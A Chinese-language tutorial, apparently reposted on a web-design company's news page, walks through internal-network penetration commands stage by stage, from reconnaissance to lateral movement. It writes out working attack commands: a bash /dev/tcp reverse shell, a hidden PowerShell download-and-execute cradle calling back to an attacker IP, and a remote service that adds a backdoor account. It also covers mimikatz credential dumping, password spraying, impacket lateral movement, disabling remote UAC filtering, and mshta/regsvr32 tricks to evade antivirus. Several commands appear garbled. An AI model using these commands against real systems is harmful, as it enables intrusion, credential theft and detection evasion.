ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

内网渗透高频命令实战:从场景出发理解攻击链

内网渗透高频命令实战:从场景出发理解攻击链 每次看到“内网渗透 100条高频命令”这种标题我都忍不住点进去看一眼。但说句实在话真正在内网里摸爬过的人都知道命令本身从来不值钱值钱的是你在哪个阶段、面对什么环境、出于什么目的把它敲出来。同样是nmap这条命令新人会用nmap -sP 192.168.1.0/24扫一下就算完事而有经验的人会先用ipconfig看自己处在什么网段、有没有双网卡、通往核心业务的路径在哪里再决定用哪个参数去扫。这篇文章不打算给你机械地罗列一百条命令而是把内网渗透的信息收集、漏洞利用、权限提升、横向移动这几个关键环节拆开把真正高频且容易踩坑的命令放进真实场景里讲清楚每条命令解决什么问题、输出怎么看、常见的坑在哪。适合正在学内网渗透、准备红队面试或者刚做完靶场想往真实环境走一步的朋友。1. 先搞懂内网渗透的作战地图再谈命令很多人一上来就抱着命令手册啃这是一种很低效的学习方式。内网渗透本质上是在一张越来越清晰的地图上逐步移动命令只是你在每个节点上用来“确认信息”和“改变状态”的工具。所以第一步不是背命令而是建立起对整个攻击链的框架认知。1.1 一条攻击链上的关键阶段命令全部落在这个坐标里内网渗透从拿到第一台机器开始大致可以拆成六个阶段本机信息收集、内网拓扑探测、凭证获取与密码喷洒、横向移动、权限提升、痕迹清理与持久化。每个阶段需要命令的类型完全不同本机信息收集阶段需要知道当前机器是谁、属于哪个域、有没有双网卡、当前用户权限多大。这里常用的命令集中在ipconfig、whoami、systeminfo、query user、net localgroup这些系统内置命令上。内网拓扑探测阶段目标从“一台机器”变成“一张网”。你要搞清楚这台机器能看到哪些网段、哪些主机存活、关键服务开在哪些端口上。这里以nmap、arp -a、route print、net view为主。凭证获取与密码喷洒阶段Windows内网里最大的突破口就是弱口令和明文凭据。常见工具是crackmapexec、hydra、impacket套件还有抓取内存凭据的mimikatz仅限授权测试环境使用。横向移动阶段你已经拿到一组账号密码或哈希需要从当前机器跳到另一台机器。这里的命令围绕psexec、wmic、winrs、ssh、sc、reg add展开。权限提升阶段你手上的用户可能只是个普通域用户需要通过各种已知漏洞或错误配置把自己变成管理员或SYSTEM。这个阶段核心是systeminfo看补丁版本、whoami /priv看当前特权、tasklist看进程与杀软。痕迹清理与持久化阶段一般红队演习中会有明确要求要么不做清理要么在指定时间点清理盲目执行清理命令反而会触发EDR告警这里不建议养成随手“擦地板”的习惯。如果你把这六个阶段画成一张流程图会发现每一条命令其实都在回答一个问题我现在在哪、我能去哪里、我需要什么权限才能去。这个思维先建立起来后续看命令才不会觉得散。1.2 工具链与执行环境准备单条命令要放进组合拳里用内网渗透极少靠单条命令搞定一件事更多时候是几条命令组合在一起逐步缩小范围。举例来说你拿到一台Windows跳板机之后典型的第一组组合拳是ipconfig /all route print arp -a net view /domain这四条命令输出的信息足够你画出初步的网络拓扑。ipconfig /all告诉你当前机器有没有多网卡、DNS后缀是什么route print告诉你通往其他网段的路径arp -a可以直接看到最近通信过的内网主机IPnet view /domain则能把当前域里的共享主机列表列出来。我见过不少新人在这时候直接上nmap全段扫描结果扫了半天没有输出反而暴露了自己。正确的思路是先用手头的系统命令快速判断自己处在什么位置再决定要不要用外部工具、用哪类扫描方式。另外不同环境下的命令执行方式也要提前考虑你在Linux跳板机上大概率用bash在Windows跳板机上要切换到cmd或PowerShell。PowerShell里有些命令需要绕过执行策略比如powershell -ep bypass -File .\script.ps1而在Linux端需要快速起一个HTTP服务来传输文件时python3 -m http.server 8000这一组命令看起来基础却是后面所有高级操作的地基。不要把时间花在背高级工具的炫技参数上先把每个阶段最核心的这几条命令打熟。2. 高频命令六类速查表按场景记忆别按字母表背如果真把“100条高频命令”落到纸上你会发现它们基本逃不出下面六个场景。按场景记命令远比按字典序去背高效得多因为你在真实环境里从来不会单独想起某条命令而是会先意识到“我现在需要探测主机存活”然后命令自己就浮现出来了。2.1 网络探测与主机发现先让网络拓扑浮出水面这一场景的黄金法则先看自己再看邻居最后才大规模扫描。本机信息命令优先用系统内置工具尽量减少上传外部工具的痕迹。以下命令覆盖了最常见的操作需求命令用途关键输出ipconfig /all查看本机IP、DNS、DHCP、网卡信息多网卡是横向的重要线索route print查看路由表确认能否到达目标网段0.0.0.0以外条目要重点关注arp -a查看本机ARP缓存直接显示近期通信主机快速找活跃主机的捷径net view /domain枚举当前域内共享资源与主机发现文件服务器、打印服务器nmap -sn 192.168.1.0/24快速主机发现不扫端口确认存活主机列表for /L %i in (1,1,254) do ping -n 1 -w 100 192.168.1.%iWindows下的入门级主机发现无工具环境下非常实用这里有个很实用的建议先跑arp -a。因为ARP缓存里的IP往往是当前机器最近真的访问过的目标比盲扫全网段准确得多。我在实际项目中就遇到过目标机器把管理网段通信记录留在ARP缓存里的情况顺着ARP表直接就定位到了核心资产省掉整个C段的探测时间。2.2 端口扫描与服务指纹识别判断这台机器在跑什么主机存活之后接下来就是端口与服务识别。服务指纹的重要性比端口号大得多因为同一个端口上跑的可能是完全不同的服务后续的利用方式也因此完全不同。nmap -sS -sV -p- 192.168.1.10 nmap -sC -sV -p 445,139,3389,22,80,443,3306,1433 192.168.1.10第一条是全端口SYN扫描加版本探测适合目标明确时的深扫第二条是高频端口快速扫描适合横向时对一批机器做批量排查。我实际用得更多是第二条因为内网里真正能利用的服务集中在几个固定端口上尤其是445、3389、22和Web端口。把nmap的速率控制好别用默认参数去扫整个内网段那会在管理员眼里变成一整片红色告警。端口扫描完之后要快速判断服务归属445端口对应SMB139对应NetBIOS3389对应RDP22对应SSH。不同的服务对应完全不同的横向工具和方法这部分判断能力比扫描本身更重要。2.3 漏洞利用与反弹Shell拿到回连的通道当你发现服务存在漏洞或弱口令后需要建立一个可交互的Shell通道。这里的高频命令不一定都是漏洞利用工具更多时候是“如何把反弹Shell传回来”。nc -lvnp 4444这是最经典的监听命令。配合反弹ShellLinux端常用bash -i /dev/tcp/192.168.1.10/4444 01Windows端常用powershell -NoP -NonI -W Hidden -Exec Bypass -Command IEX(New-Object Net.WebClient).DownloadString(http://192.168.1.10:8000/shell.ps1)这里有一个极其常见的坑反弹Shell传回来了但交互式操作很难受按CtrlC会直接断开连接。解决方法是进Shell之后立刻用python或script命令升级为完全交互式TTYpython3 -c import pty;pty.spawn(/bin/bash)然后按CtrlZ挂起本地执行stty raw -echo再执行fg恢复Shell就变成了可以正常使用上下键和Tab补全的完整终端。这个技巧我在实际渗透里用过无数次属于那种看起来简单但极其影响效率的细节。2.4 权限提升前的信息收集决定你下一步能不能起飞权限提升是整个内网渗透里最需要信息支撑的环节。很多人提到提权就想到exp但真正的提权是先把当前机器的信息扒干净再谈漏洞利用。whoami /all systeminfo net user current net localgroup tasklist /svc wmic qfe list briefwhoami /all能看到当前用户的SID和权限systeminfo能看到系统版本和补丁号直接在脑海里跟已知提权漏洞对照net user current看当前用户属于哪些组判断自己离管理员有多远net localgroup把本机组列出来重点看Administrators组里都有谁tasklist /svc能识别杀软进程决定要不要绕开防护执行后续操作wmic qfe list brief则是快速列出已安装补丁直接判断能不能用PrintNightmare之类的漏洞。这个阶段还有一个高频操作是查看计划任务、服务路径和注册表启动项里的可写点比如schtasks /query /fo LIST /v wmic service list full如果发现某个服务的二进制路径可以被当前用户写入那这就是比漏洞利用更加稳定的提权路径。我在项目中更喜欢找这类配置类提权因为防御方很少实时监控一个普通服务路径的写权限变化成功率往往比打补丁漏洞高得多。2.5 横向移动与凭据利用从一台机器走向整个域横向移动是内网渗透的高潮部分。拿到一组密码或NTLM哈希之后常见的命令选择如下crackmapexec smb 192.168.1.0/24 -u administrator -p password --shares impacket-psexec WORKGROUP/administrator:password192.168.1.10 impacket-wmiexec WORKGROUP/administrator:password192.168.1.10Windows原生环境里没有impacket套件可以用系统自带的工具组合net use \\192.168.1.10\c$ password /user:administrator sc \\192.168.1.10 create evil binpath cmd /c net user hacker Pss123 /add sc \\192.168.1.10 start evil这条sc命令的思路是把远端的服务创建权限拿到手后通过在目标机器执行net user命令来增加一个账号进而做实控制。这种方法不需要上传任何二进制文件只靠系统自身能力完成移动在EDR检测的视角里更隐蔽一些。横向移动里还有一个很关键的命令reg add用来修改远程注册表最常见的是开启远程桌面的LocalAccountTokenFilterPolicy让本地管理员账号能直接以高权限连接RDPreg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f2.6 凭据获取与数据搜集在内网里“捡钱”的路径Windows内网一个残酷的事实是大量明文口令和哈希散布在内存、注册表和脚本文件里。搜集环节的命令往往比漏洞利用更有效果。授权测试中mimikatz的抓密码操作几乎是必经之路mimikatz.exe privilege::debug sekurlsa::logonpasswords除了mimikatz还有一组很容易被忽略的低成本操作翻历史命令记录和脚本文件。cat ~/.bash_history type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt dir /s /b C:\*.bat C:\*.ps1 C:\*.txt 2nul很多人会在运维脚本里留下连接字符串、批量部署脚本里写死管理员密码。曾经有一次项目里我们在一台普通业务服务器的C盘临时目录里找到一个deploy.bat里面直接包含了整个业务集群的数据库账号密码后续的权限提升和横向直接变成了填空题。所以每次进入一台机器我必定会做的三件事之一就是翻历史命令和常见脚本文件。这组命令不依赖任何工具执行起来也不会有明显的攻击特征。3. 实战演练从一台跳板机横向到域内目标前面讲了阶段和命令这一节用一个虚构但很典型的场景把命令串成一条完整的操作链路。这个案例里没有任何真实漏洞利用过程重点展示“什么时候该敲哪条命令”的决策逻辑。假设你拿到了一个Web应用权限反弹Shell落在一台CentOS跳板机上当前用户是www内网IP是192.168.88.15。3.1 拿到目标后第一步先把自己“摆在地图上”拿到一台机器后第一步永远不是急着扫别人而是先看自己。上来先执行ip addr ip route cat /etc/hosts cat /etc/resolv.conf arp -a看到这台机器只有一个内网IP 192.168.88.15网关是192.168.88.1DNS指向192.168.88.2。arp -a里出现了几条记录其中192.168.88.20看起来像是一台Windows主机MAC前缀是00:50:56典型的VMware虚拟网卡。192.168.88.25也存活但MAC前缀不同可能是另一种设备。同时你注意到192.168.88.2很可能是域控因为DNS服务通常部署在域控上。这时候你的地图已经有了雏形一个标准的/24网段一台疑似Windows主机一台疑似DNS主机在 .2 地址上而网关是 .1。接下来的命令顺序应当是先确认DNS服务器上有没有域服务再确认192.168.88.20是不是Windows、有没有开放445。与其直接用nmap全段扫描不如先精准看这两个目标。nmap -sS -sV -p 53,88,135,139,389,445,3389 192.168.88.2 nmap -sS -sV -p 135,139,445,3389,5985 192.168.88.20第一条是查域控的标准五件套DNS(53)、Kerberos(88)、RPC(135)、LDAP(389)、SMB(445)。如果端口全开基本可以判定192.168.88.2就是域控。第二条是在确认192.168.88.20的Windows远程管理通道是否打开。3.2 SMB枚举与弱口令测试crackmapexec的实战姿势假设192.168.88.2确认是域控接下来目标明确寻找一组能访问域内资源的合法凭据。这时候接替nmap的主角是crackmapexec它集成了SMB枚举、共享枚举、密码喷洒和命令执行等功能是内网横向里出镜率最高的工具之一。crackmapexec smb 192.168.88.0/24 -u -p --shares先空密码探测一下有哪些主机允许匿名访问共享。很多时候内网里存在配置不当的打印机共享或临时文件共享里面可能就有敏感文件。如果空密码没有收获再进入密码喷洒阶段。所谓喷洒就是固定一个常见密码比如Pssw0rd、公司名2024这种对多个用户名逐个尝试而不是固定一个用户名去爆破密码后者容易触发账号锁定策略crackmapexec smb 192.168.88.20 -u user.txt -p Pssw0rd123 --shares在拿到第一组有效的账号之后立刻用同一条工具尝试登录域控和其他主机crackmapexec smb 192.168.88.2 -u itadmin -p Pssw0rd123 --shares crackmapexec smb 192.168.88.2 -u itadmin -p Pssw0rd123 -x whoami最后这条 -x 参数会直接通过SMB在目标上执行命令并返回输出等于直接验证了该账号是否拥有域控上的命令执行权限。如果返回 nt authority\system那域控已经到手了。在这个例子里你发现itadmin只能在192.168.88.20上登录还不能直接拿下域控。3.3 拿下第二台主机横向移动的命令选择既然itadmin能登录192.168.88.20那就先拿下这台机器把它当跳板继续往前摸。这里有两种思路一种是用impacket套件直接执行命令另一种是生成一个正向或反弹Shell进行更自由的交互。impacket-psexec itadmin:Pssw0rd123192.168.88.20 impacket-wmiexec itadmin:Pssw0rd123192.168.88.20psexec和wmiexec的区别在于psexec通过SMB创建一个服务来执行命令wmiexec通过WMI远程调用执行两者留下的日志特征完全不同。如果目标机器有EDR盯着服务创建行为psexec很容易暴露而wmiexec相对温和。我在有杀软的环境里优先选择wmiexec。进入192.168.88.20之后马上执行一个关键操作查看会话令牌和网络连接看有没有其他域管的连接遗留在这个机器上。whoami netstat -ano | findstr ESTABLISHED query userquery user能列出当前这台机器上的所有登录会话如果恰好有一个域管账号处于交互式登录状态那这次操作连密码喷洒都不需要了直接利用令牌获取或进程注入就能拿下域控。这个环节的经验是每台机器不是孤立存在的管理员通常会在同一台机器上登录多个系统找到那个交叉点就是横向的关键。3.4 为什么这些命令能打通还原你的每一步决策回看这个案例你会发现真正决定成败的不是某一招的高超而是信息收集阶段的节奏。拿到跳板机之后先确认自己的网络位置通过arp -a缩小目标范围用nmap精准探测而不是暴力全段扫描用crackmapexec做密码喷洒而不是对单个账号爆破最后用wmiexec而不是更容易暴露的psexec执行命令。每一步都在回答“我现在在哪、我需要什么凭据、走哪条路最不容易被发现”。很多新手反过来操作拿到跳板机马上nmap扫整个C段扫出来一堆主机马上挨个用msf打一遍。这么做的结果往往是扫了几百台机器每台都没有深入利用日志倒是留下了一大堆等于在蓝队面前举着荧光棒跑马拉松。命令本身没有高下之分关键在于你给每条命令赋予了清晰的战术目标。4. 高频翻车现场命令没生效别急着换工具实际操作中命令敲下去结果不对、没回显、连不上这类情况占了至少一半时间。排查问题本身也是一项硬功夫这里整理几个我踩过无数次坑的场景按问题现象分类给出一套排查顺序。4.1 扫描全空路由、防火墙与段间问题的排查顺序nmap跑完一个C段什么都没有不要第一时间怀疑目标网络里没有主机绝大多数情况是路径不通或者扫描方式有问题。正确的排查顺序是先ping网关确认出网链路通不通再ping目标段的某个已知IP然后看route print或ip route确认有没有到该网段的路由。如果路由表里根本没有目标网段的条目就说明当前网络做了隔离或你处于不同的VLAN需要找到双网卡机器或可利用的路由设备作为跳板。还有一种容易被忽略的原因目标主机禁ping。nmap默认的-sP或-sn模式依赖于ICMP如果对方防火墙禁了ICMP就会误判为离线。解决办法是用TCP扫描确认存活nmap -sS -p 80,445,3389 -PS 192.168.88.20再用一个几百字的案例补充有一次我扫描一个10段内网全空查了半小时才发现自己ssh跳板机时把端口映射弄反了流量根本没从目标内网出去。基础问题优先排别一上来就怀疑工具坏了。4.2 明明有管理员却横向失败UAC、SMB签名与共享限制拿到一个账号密码crackmapexec显示是Administrator但按这个账号去尝试横向移动时wmiexec和psexec全部失败。这种情况很常见原因往往出在UAC的远程限制上。本地管理员账号通过SMB远程连接目标时会被过滤成标准用户权限导致无法创建服务和执行命令。解决方案是先在目标机器上修改注册表关闭远程UAC过滤也就是刚才提到过的LocalAccountTokenFilterPolicy那条reg add命令。另一个常见坑是SMB签名要求。如果目标环境强制启用SMB签名很多impacket工具默认不带签名连接会直接失败或者速度极慢。解决方式是在impacket脚本里用-smb2support参数来开启SMB2支持或者换用winrs走WinRM端口。这类细节在工具的 -h 帮助里写得清清楚楚但很少有人实际操作前去看。4.3 反弹Shell畸形或一闪而过编码、监听与杀软的三重问题反弹Shell连上了但界面先是花屏按回车没有响应或者Shell执行一两秒就自动退出这是最常见的翻车现场。原因通常是三选一终端类型没匹配上、编码不对、或者被杀软干掉。Linux反弹Shell连回来之后第一件事就是用python或script升级TTY前面已经给过代码。Windows反弹Shell如果出现中文乱码先执行chcp 65001切到UTF-8编码如果还乱就切936。如果Shell执行后立刻退出多半是amsi或杀软检测到异常这时候要立刻换一种载荷格式比如从powershell -enc切换成mshta、regsvr32这类白名单执行方式。记住一个原则反弹Shell的成功率不取决于你用什么工具生成而取决于你能不能理解目标环境为什么拒绝执行。4.4 内网里的乱码与回显干扰容易被忽略的执行结果污染内网环境五花八门中文Windows和Linux终端混用很容易出现乱码。PowerShell输出中文名文件时默认编码在cmd下显示乱码直接导致后续字符串匹配失败。处理方式是在命令前先设置代码页为65001或者把输出内容重定向到文件再下载到本地分析chcp 65001 dir /s /b C:\*.pdf C:\temp\out.txt回显干扰是另一个容易被忽略的点有些命令用PowerShell执行时输出会混入ANSI颜色控制字符导致复制到文本工具里一堆乱码。这时候最好把输出通过管道转为纯文本。问题表现最可能原因处理顺序nmap扫描全空路由不通 / 禁ping逐级ping排查路径改用TCP扫描确认存活横向移动账号被拒UAC远程过滤先reg add关闭过滤再执行横向操作反弹Shell乱码终端编码不匹配chcp 65001或936反弹Shell执行即退AMSI或杀软拦截切换执行方式mshta/regsvr32命令回显带颜色字符PowerShell ANSI控制码重定向输出或用echo纯文本导出SMB连接极慢或失败SMB签名强制开启使用-smb2support参数或换WinRM这张表是我自己经常贴在笔记里的每次翻车都会先对照一遍能省下大量排查时间。5. 用命令之外的方式提升内网渗透能力命令只是内网渗透的表层。如果只停留在“会敲命令”的层面换一个新环境、遇到一类没见过的场景就会非常被动。真正决定水平上限的是对协议、日志、权限模型这三件事的理解深度。5.1 抓协议而不是背参数SMB、LLMNR、Kerberos值得深挖同样用crackmapexec扫描SMB懂SMB协议的人能根据协商返回的方言版本判断目标系统大致版本而不只是看工具输出的那几行Yes或No。同样面对一台开了Kerberos的域控懂认证流程的人会知道用AS-REP Roasting而不是暴力爆破因为前者不需要跟域控产生大量失败登录告警。我建议的学习路径是每用一个工具先把它的核心交互协议搞清楚。用hydra就要知道它是在跟服务对话而不是在“试密码”用impacket-psexec就要知道它本质上是通过SMB创建了一个服务来执行命令而不是什么魔法。这些理解在遇到高防护目标时会直接决定你能不能从命令层面绕开拦截。5.2 靶场与仿真环境怎么练才有实战感练习环境推荐三个层次第一层是Vulnhub和HackTheBox这类单机靶场练的是单点漏洞利用和提权第二层是自建一个小的AD域环境装一台Windows Server做域控再挂两台win10和win7成员机练的是密码喷洒、横向移动和域权限提升第三层是参加有真实业务场景的攻防演习或SRC渗透测试只要合规授权能获得完全不同于靶场的真实体验。自建AD域环境不需要太高配置一台8G内存的服务器就够跑起来。关键是你在里面可以反复练习域管拿下、DPAPI解密、GPO投递这些高级操作这些内容在任何免费靶场里都很难完整体验到。我自己的经验是把域环境搭起来之后至少把下面这条链走通一遍收获比做十个单机靶场都大——通过LLMNR投毒拿到NTLMv2哈希破解后拿普通域账号再用BloodHound分析路径找到一条通向域管的攻击链最后用基于GPO或计划任务的持久化方式把域控拿稳。5.3 给自己配一个“攻击指挥面板”日志与检测视角从防御者的角度看内网渗透命令并非不可见。Windows自带的安全日志、Sysmon、EDR都会记录命令执行痕迹。你自己在攻击时输入的每一条命令其实都对应着日志里的某一条记录。如果能在练靶场时同步打开防御侧的监测视角对你的帮助会非常大。以wmic为例攻击者用wmic远程执行命令时目标机器会产生4624登录日志、4688进程创建日志Sysmon还会记录更细的命令行参数。知道了这些日志长什么样你就知道为什么某些命令看起来效率高但其实很容易暴露。反过来你要是能提前模拟蓝队的检测规则就能在真实攻击中主动选择更隐蔽的路径。比如用WinRM时需要5985端口开放这个端口在默认配置里往往具备更少的告警规则用SMB时则要面对更多EDR的敏感规则。这些经验都需要你站在两边视角来回切换才能积累下来。我做项目时会在自己的笔记里维护一份“命令看到的世界 vs 日志看到的世界”对照表。每用一条新命令就顺手记一笔它会留下哪种日志。这看起来慢但长期积累下来对能力的提升远超过刷一百个靶场。命令敲得再花哨如果不知道它在目标机器上留下什么痕迹那只是一个盲目的按钮工。如果让我给新人一句实在话内网渗透能力不是靠背命令堆出来的而是靠“每一次敲击键盘都知道自己处在攻击链的哪一环、这一步会在目标机器上留下什么”的清晰意识堆出来的。命令只是工具箱真正值钱的是你对每一步行动的掌控感。
返回列表